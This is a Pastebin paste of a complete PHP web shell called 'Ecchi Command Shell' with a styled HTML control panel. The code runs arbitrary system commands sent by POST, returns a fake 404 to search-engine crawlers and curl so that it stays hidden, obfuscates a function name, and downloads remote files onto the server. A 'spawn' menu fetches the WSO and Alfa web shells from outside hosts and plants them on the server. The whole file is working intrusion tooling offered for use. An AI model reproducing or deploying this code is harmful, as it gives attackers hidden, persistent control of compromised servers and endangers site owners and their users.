ecchiexploit

Ecchi Command Shell

Jun 3rd, 2023
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 20.60 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. @clearstatcache(true);
  5.  
  6. /**
  7.  * Summary of EcchiShell
  8.  */
  9. class EcchiShell
  10. {
  11.  
  12.     /**
  13.      * Summary of result
  14.      * @var string
  15.      */
  16.     private $result = '';
  17.  
  18.     /**
  19.      * Summary of __construct
  20.      */
  21.     public function __construct()
  22.     {
  23.         $this->validateUserAgent();
  24.         if (isset($_POST['function'], $_POST['cmd'])) {
  25.             $this->ExeCmd($_POST['function'], $_POST['cmd']);
  26.         } elseif (isset($_POST['filename'], $_POST['url'])) {
  27.             $this->newShell($_POST['filename'], $_POST['url']);
  28.         } elseif (isset($_POST['spawn'])) {
  29.             $this->SpawnFileShell($_POST['spawn']);
  30.         }
  31.     }
  32.  
  33.     /**
  34.      * Summary of validateUserAgent
  35.      * @return void
  36.      */
  37.     private function validateUserAgent()
  38.     {
  39.         $userAgents = ["Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl"];
  40.         $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
  41.  
  42.         foreach ($userAgents as $agent) {
  43.             if (stripos($userAgent, $agent) !== false) {
  44.                 header('HTTP/1.0 404 Not Found');
  45.                 exit;
  46.             }
  47.         }
  48.     }
  49.  
  50.     /**
  51.      * Summary of newShell
  52.      * @param mixed $filename
  53.      * @param mixed $url
  54.      * @param mixed $password
  55.      * @return void
  56.      */
  57.     private function newShell($filename, $url, $password = null)
  58.     {
  59.         $getFile = file_get_contents($url) ?: $this->cURL($url);
  60.         if (!file_exists($filename)) {
  61.             file_put_contents($filename, $getFile);
  62.         } else {
  63.             $openFile = fopen($filename, "w");
  64.             fwrite($openFile, $getFile);
  65.             fclose($openFile);
  66.         }
  67.  
  68.         $this->setResult("Success Create File <b>" . $filename . "</b> at <b><i>" . str_replace("\\", "/", dirname(__FILE__) . "/" . $filename) . "</b>" . (is_null($password) ? "" : " And Password: <b>$password</b>") . "</i>");
  69.     }
  70.  
  71.     /**
  72.      * Summary of SpawnFileShell
  73.      * @param mixed $name
  74.      * @return EcchiShell
  75.      */
  76.     private function SpawnFileShell($name)
  77.     {
  78.         $files = [
  79.             "adminer" => ["https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php", "adminer.php"],
  80.             "alfa" => ["https://raw.githubusercontent.com/Ravin-Academy/DeObfuscation_ALFA_SHELL_V4.1/main/Decode%20Of%20ALFA%20Team/alfav4.1-tesla.php", "alfa4.php"],
  81.             "wso" => ["https://raw.githubusercontent.com/mIcHyAmRaNe/wso-webshell/master/wso.php", "wso.php", "ghost287"]
  82.             /* Add Here */
  83.         ];
  84.  
  85.         if (!isset($files[$name]))
  86.             return $this->setResult("File <b><i>$name</b></i> Not Found.");
  87.  
  88.         $fileInfo = $files[$name];
  89.         $this->newShell($fileInfo[1], $fileInfo[0], $fileInfo[2]);
  90.     }
  91.  
  92.     /**
  93.      * Summary of cURL
  94.      * @param mixed $url
  95.      * @param mixed $postFields
  96.      * @param mixed $post
  97.      * @return bool|string
  98.      */
  99.     private function cURL($url, $post = false, $postFields = [])
  100.     {
  101.         $ch = curl_init();
  102.  
  103.         if ($post) {
  104.             curl_setopt_array($ch, [
  105.                 CURLOPT_POST => true,
  106.                 CURLOPT_POSTFIELDS => http_build_query($postFields)
  107.             ]);
  108.         } else {
  109.             curl_setopt_array($ch, [
  110.                 CURLOPT_CUSTOMREQUEST => 'GET',
  111.                 CURLOPT_SSL_VERIFYHOST => false,
  112.                 CURLOPT_SSL_VERIFYPEER => false
  113.             ]);
  114.         }
  115.  
  116.         curl_setopt($ch, CURLOPT_URL, $url);
  117.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  118.         $respone = curl_exec($ch);
  119.         curl_close($ch);
  120.  
  121.         return $respone;
  122.     }
  123.  
  124.     /**
  125.      * Summary of SEORank
  126.      * @return array|string|null
  127.      */
  128.     public function SEORank()
  129.     {
  130.         $postData = [
  131.             "getStatus" => "1",
  132.             "siteID" => "1",
  133.             "sitelink" => $_SERVER['SERVER_NAME'],
  134.             "da" => "1",
  135.             "pa" => "1",
  136.             "alexa" => "1"
  137.         ];
  138.  
  139.         $getRank = $this->cURL("https://www.checkmoz.com/bulktool", true, $postData);
  140.         preg_match_all('/(.*?)<\/td>/', $getRank, $get);
  141.         $getSEO = preg_replace('/<td>/', '', $get[1]);
  142.  
  143.         return $getSEO;
  144.     }
  145.  
  146.     /**
  147.      * Summary of getDisable
  148.      * @param mixed $act
  149.      * @return mixed
  150.      */
  151.     public function getDisable($act = null)
  152.     {
  153.         define("low", range("a", "z"));
  154.         $in = low[8] . low[13] . low[8] . "_" . low[6] . low[4] . low[19];
  155.         $disabled = $in('disable_functions');
  156.         return ($act == 'UI') ? ($disabled ?: 'Nothing') : $disabled;
  157.     }
  158.  
  159.     /**
  160.      * Summary of getOS
  161.      * @return string
  162.      */
  163.     public function getOS()
  164.     {
  165.         return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'Windows' : 'Linux';
  166.     }
  167.  
  168.     /**
  169.      * Summary of getInformationSystem
  170.      * @return string
  171.      */
  172.     public function getInformationSystem()
  173.     {
  174.         $information_system = '';
  175.         $os = $this->getOS();
  176.  
  177.         switch ($os) {
  178.             case 'Linux':
  179.                 $information_system = php_uname();
  180.                 break;
  181.  
  182.             default:
  183.                 if (class_exists('COM')) {
  184.                     $wmi = new COM('winmgmts://');
  185.                     $os = $wmi->ExecQuery('SELECT * FROM Win32_OperatingSystem');
  186.                     foreach ($os as $os_info) {
  187.                         $information_system .= 'Operating System: ' . $os_info->Caption . PHP_EOL;
  188.                         $information_system .= 'Kernel Type: ' . $os_info->OSArchitecture . PHP_EOL;
  189.                         $version = explode(".", $os_info->Version);
  190.                         $information_system .= 'Version: ' . $version[0] . '.' . $version[1] . PHP_EOL;
  191.                     }
  192.                 } else {
  193.                     $result = [];
  194.                     $exectution = "exec";
  195.                     $exectution('systeminfo', $result);
  196.                     if (!empty($result)) {
  197.                         foreach ($result as $line) {
  198.                             switch (true) {
  199.                                 case (strpos($line, 'OS Name:') !== false):
  200.                                     $os_name = trim(str_replace('OS Name:', '', $line));
  201.                                     $information_system .= "<br>Operating System: " . $os_name . PHP_EOL;
  202.                                     break;
  203.  
  204.                                 case (strpos($line, 'System Type:') !== false):
  205.                                     $kernel_type = trim(str_replace('System Type:', '', $line));
  206.                                     $information_system .= '<br>Kernel Type: ' . $kernel_type . PHP_EOL;
  207.                                     break;
  208.  
  209.                                 case (strpos($line, 'Version:') !== false && strpos($line, 'BIOS Version:') === false):
  210.                                     $version = trim(str_replace('Version:', '', $line));
  211.                                     $information_system .= '<br>Version: ' . $version . PHP_EOL;
  212.                                     break;
  213.  
  214.                                 case (strpos($line, 'Host Name') !== false):
  215.                                     $host_name = trim(str_replace('Host Name:', '', $line));
  216.                                     $information_system .= '<br>User: ' . $host_name . PHP_EOL;
  217.                                     break;
  218.  
  219.                                 case (strpos($line, 'BIOS Version:') !== false):
  220.                                     $bios = trim(str_replace('BIOS Version:', '', $line));
  221.                                     $information_system .= '<br>Bios: ' . $bios . PHP_EOL;
  222.                                     break;
  223.  
  224.                                 default:
  225.                                     break;
  226.                             }
  227.                         }
  228.                     } else {
  229.                         $information_system = "Can't Get Information System";
  230.                     }
  231.                 }
  232.                 break;
  233.         }
  234.  
  235.         return $information_system;
  236.     }
  237.  
  238.     /**
  239.      * Summary of ExeCmd
  240.      * @param mixed $command
  241.      * @param mixed $payload
  242.      * @return null
  243.      */
  244.     private function ExeCmd($command, $payload)
  245.     {
  246.         $split = explode(",", $this->getDisable());
  247.         if (in_array($command, $split)) {
  248.             $this->setResult("Function Is Disable : $command");
  249.         } else {
  250.             if ($command == 'shell_exec') {
  251.                 $this->result = $command($payload);
  252.             } else if ($command == 'exec') {
  253.                 $command($payload, $this->result);
  254.                 $this->result = join("\n", $this->result);
  255.             } else if ($command == 'passthru' || 'system') {
  256.                 ob_start();
  257.                 $command($payload);
  258.                 $this->result = ob_get_contents();
  259.                 ob_end_clean();
  260.             } else {
  261.                 $this->result = call_user_func_array($command, $payload);
  262.             }
  263.  
  264.             $this->setResult($this->result);
  265.         }
  266.     }
  267.  
  268.     /**
  269.      * Summary of getServerSoftware
  270.      * @return mixed
  271.      */
  272.     public function getServerSoftware()
  273.     {
  274.         return isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : null;
  275.     }
  276.  
  277.     /**
  278.      * Summary of getPHPVersion
  279.      * @return bool|string
  280.      */
  281.     public function getPHPVersion()
  282.     {
  283.         return phpversion();
  284.     }
  285.  
  286.     /**
  287.      * @return mixed
  288.      */
  289.     public function getResult()
  290.     {
  291.         return $this->result;
  292.     }
  293.  
  294.     /**
  295.      * @param mixed $result
  296.      * @return self
  297.      */
  298.     public function setResult($result): self
  299.     {
  300.         $this->result = $result;
  301.         return $this;
  302.     }
  303. }
  304.  
  305. $ecchishell = new EcchiShell;
  306. ?>
  307. <!DOCTYPE html>
  308. <html lang="en">
  309.  
  310. <head>
  311.     <!-- Primary Meta Tags -->
  312.     <title>Ecchi Command Shell</title>
  313.     <meta charset="UTF-8">
  314.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
  315.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  316.     <meta name="robots" content="noindex, nofollow">
  317.     <meta name="title" content="Ecchi Command Shell">
  318.     <meta name="description" content="Simple Command Shell">
  319.  
  320.     <!-- Open Graph / Facebook -->
  321.     <meta property="og:type" content="website">
  322.     <meta property="og:url" content="https://ecchiexploit.blogspot.com">
  323.     <meta property="og:title" content="Ecchi Command Shell">
  324.     <meta property="og:description" content="Simple Command Shell">
  325.     <meta property="og:image" content="https://i.ibb.co/WVrL2Tk/IMG-20190901-WA0263.jpg">
  326.  
  327.     <!-- Twitter -->
  328.     <meta property="twitter:card" content="summary_large_image">
  329.     <meta property="twitter:url" content="https://ecchiexploit.blogspot.com">
  330.     <meta property="twitter:title" content="Ecchi Command Shell">
  331.     <meta property="twitter:description" content="Simple Command Shell">
  332.     <meta property="twitter:image" content="https://i.ibb.co/WVrL2Tk/IMG-20190901-WA0263.jpg">
  333.  
  334.     <!-- Icon -->
  335.     <link rel="icon" href="https://i.ibb.co/WVrL2Tk/IMG-20190901-WA0263.jpg" type="image/png">
  336.  
  337.     <!-- CSS -->
  338.     <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.15.3/css/all.css" />
  339.     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css" />
  340.     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css">
  341.  
  342.     <style type="text/css">
  343.         ::-webkit-scrollbar {
  344.             width: 12px;
  345.         }
  346.  
  347.         ::-webkit-scrollbar-track {
  348.             -webkit-box-shadow: inset 0 0 6px #00ffff;
  349.             border-radius: 10px;
  350.         }
  351.  
  352.         ::-webkit-scrollbar-thumb {
  353.             border-radius: 10px;
  354.             -webkit-box-shadow: inset 0 0 6px #00ffff;
  355.         }
  356.  
  357.         .offcanvas-body,
  358.         .offcanvas-header {
  359.             background-color: #000;
  360.             border: 1px solid #00ffff;
  361.         }
  362.  
  363.         .offcanvas {
  364.             margin-top: 10%;
  365.             height: 62%;
  366.             box-shadow: 0px 0px 10px 0px #00ffff;
  367.         }
  368.  
  369.         .custom-card {
  370.             background-color: #000;
  371.             border: 1px solid #00ffff;
  372.             box-shadow: 0px 0px 10px 0px #00ffff;
  373.             color: #43C6AC;
  374.         }
  375.  
  376.         .fixed-top-right {
  377.             position: fixed;
  378.             top: 17px;
  379.             right: 30px;
  380.             z-index: 1032;
  381.             width: 150px;
  382.             box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);
  383.             box-sizing: border-box;
  384.         }
  385.  
  386.         .fixed-top-left {
  387.             position: fixed;
  388.             top: 17px;
  389.             left: 30px;
  390.             z-index: 1032;
  391.             width: 150px;
  392.             height: 50px;
  393.             box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);
  394.             box-sizing: border-box;
  395.         }
  396.  
  397.         .fixed-top-right:hover,
  398.         .fixed-top-left:hover {
  399.             border: 1px solid #00ffff;
  400.             background-color: #000;
  401.         }
  402.  
  403.         @media only screen and (max-width: 767.98px) {
  404.             .fixed-top-right {
  405.                 width: 80px;
  406.                 top: 20px;
  407.                 right: 15px;
  408.             }
  409.  
  410.             .fixed-top-left {
  411.                 width: 80px;
  412.                 /* top: 20px; */
  413.                 left: 15px;
  414.             }
  415.  
  416.             .offcanvas {
  417.                 width: 50%;
  418.                 margin-top: 25%;
  419.             }
  420.         }
  421.     </style>
  422. </head>
  423.  
  424. <body class="bg-dark">
  425.     <button class="btn fixed-top-right btn-sm opacity-75 custom-card animate__animated animate__fadeInBottomRight"
  426.         type="button" data-bs-toggle="offcanvas" data-bs-target="#MyMenuShell" aria-controls="MyMenuShell"
  427.         aria-expanded="false" aria-label="Toggle navigation">
  428.         <img src="https://i.ibb.co/WVrL2Tk/IMG-20190901-WA0263.jpg" alt="Toggle Menu" class="img-fluid">
  429.     </button>
  430.  
  431.     <button class="btn fixed-top-left btn-sm opacity-75 custom-card animate__animated animate__fadeInBottomRight"
  432.         type="button" data-bs-toggle="offcanvas" data-bs-target="#MySpawnShell" aria-controls="MySpawnShell"
  433.         aria-expanded="false" aria-label="Toggle navigation">
  434.         Spawn Shell
  435.     </button>
  436.  
  437.     <div class="offcanvas offcanvas-start text-white" tabindex="-1" id="MyMenuShell" aria-labelledby="MyMenuShell">
  438.         <div class="offcanvas-header">
  439.             <h5 class="offcanvas-title" id="MyMenuShell">Server Info</h5>
  440.             <button type="button" class="btn-close text-reset" data-bs-dismiss="offcanvas" aria-label="Close"></button>
  441.         </div>
  442.         <div class="offcanvas-body small">
  443.             <p>
  444.                 Rank Alexa : <span>
  445.                     <?= $ecchishell->SEORank()[4] ?>
  446.                 </span> |
  447.                 DA : <span>
  448.                     <?= $ecchishell->SEORank()[2] ?>
  449.                 </span> |
  450.                 PA : <span>
  451.                     <?= $ecchishell->SEORank()[3] ?>
  452.                 </span>
  453.             </p>
  454.             <p>OS : <span>
  455.                     <?= $ecchishell->getOS() ?>
  456.                 </span></p>
  457.             <p>PHP Version : <span>
  458.                     <?= $ecchishell->getPHPVersion() ?>
  459.                 </span></p>
  460.             <p>Software : <span>
  461.                     <?= $ecchishell->getServerSoftware() ?>
  462.                 </span></p>
  463.             <p>Information System : <span>
  464.                     <?= $ecchishell->getInformationSystem() ?>
  465.                 </span></p>
  466.         </div>
  467.     </div>
  468.  
  469.     <div class="offcanvas offcanvas-start text-white" tabindex="-1" id="MySpawnShell" aria-labelledby="MySpawnShell">
  470.         <div class="offcanvas-header">
  471.             <h5 class="offcanvas-title" id="MySpawnShell">Shell / File Spawned</h5>
  472.             <button type="button" class="btn-close text-reset" data-bs-dismiss="offcanvas" aria-label="Close"></button>
  473.         </div>
  474.         <div class="offcanvas-body small">
  475.             <div class="card card-body custom-card h-50 mt-5">
  476.                 <form method="post">
  477.                     <div class="form-floating">
  478.                         <select class="form-select mb-2 custom-card" id="SpawnShell" name="spawn"
  479.                             aria-label="Spawn Shell / File">
  480.                             <option value="adminer">Adminer</option>
  481.                             <option value="wso">WSO Shell</option>
  482.                             <option value="alfa">Alfa Shell</option>
  483.                         </select>
  484.                         <label for="SpawnShell">Chose The Spawn Shell / File</label>
  485.                     </div>
  486.                     <button class="form-control custom-card align-self-end" type="submit">Spawn Execution</button>
  487.                 </form>
  488.             </div>
  489.         </div>
  490.     </div>
  491.  
  492.     <div class="container-fluid">
  493.         <div class="card card-body text-center mt-2 custom-card">
  494.             <h3>Ecchi Command Shell</h3>
  495.         </div>
  496.     </div>
  497.  
  498.     <form method="POST">
  499.         <div class="container-fluid mt-3">
  500.             <div class="row">
  501.                 <div class="col-md-4 mb-3">
  502.                     <div class="card card-body custom-card text-wrap" style="height: 270px;">
  503.                         <h5 class="text-center">Disable Functions</h5>
  504.                         <span class="border border-1 mb-2" style="border-color: #43C6AC !important;"></span>
  505.                         <p class="text-capitalize fst-italic overflow-auto">
  506.                             <?= $ecchishell->getDisable("UI") ?>
  507.                         </p>
  508.                     </div>
  509.                 </div>
  510.  
  511.                 <!-- Command Shell -->
  512.                 <div class="col-md-4 mb-3">
  513.                     <div class="card card-body custom-card">
  514.                         <h5 class="text-center">Command Execution</h5>
  515.                         <span class="border border-1 mb-2" style="border-color: #43C6AC !important;"></span>
  516.                         <div class="mb-2">
  517.                             <label for="function" class="form-label">Function Execution</label>
  518.                             <input type="text" class="form-control" id="function" name="function"
  519.                                 placeholder="shell_exec">
  520.                         </div>
  521.                         <div class="mb-2">
  522.                             <label for="cmd" class="form-label">Command / Payload</label>
  523.                             <input type="text" class="form-control" id="cmd" name="cmd" placeholder="ls -la">
  524.                         </div>
  525.                         <button class="form-control custom-card" type="submit">Execution</button>
  526.                     </div>
  527.                 </div>
  528.  
  529.                 <!-- Create File -->
  530.                 <div class="col-md-4 mb-3">
  531.                     <div class="card card-body custom-card">
  532.                         <h5 class="text-center">Create File</h5>
  533.                         <span class="border border-1 mb-2" style="border-color: #43C6AC !important;"></span>
  534.                         <div class="mb-2">
  535.                             <label for="url" class="form-label">URL</label>
  536.                             <input type="text" class="form-control" id="url" name="url"
  537.                                 placeholder="https://file.com/shell.txt">
  538.                         </div>
  539.                         <div class="mb-2">
  540.                             <label for="filename" class="form-label">Filename</label>
  541.                             <input type="text" class="form-control" id="filename" name="filename"
  542.                                 placeholder="shell.php">
  543.                         </div>
  544.                         <button class="form-control custom-card" type="submit">Create File</button>
  545.                     </div>
  546.                 </div>
  547.             </div>
  548.         </div>
  549.  
  550.         <div class="container-fluid mb-3">
  551.             <div class="row">
  552.                 <div class="col-md-12">
  553.                     <div class="card card-body custom-card overflow-auto text-wrap" style="height: 200px;">
  554.                         <h5 class="text-center">Result</h5>
  555.                         <span class="border border-1 mb-2" style="border-color: #43C6AC !important;"></span>
  556.                         <p class="mt-2 fst-italic">
  557.                             <?= $ecchishell->getResult() ?>
  558.                         </p>
  559.                     </div>
  560.                 </div>
  561.             </div>
  562.         </div>
  563.     </form>
  564.  
  565.     <div class="container-fluid pt-3">
  566.         <div class="text-info text-center">
  567.             <h5>./EcchiExploit</h5>
  568.         </div>
  569.     </div>
  570.  
  571.     <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"></script>
  572. </body>
  573.  
  574. </html>
Add Comment
Please, Sign In to add comment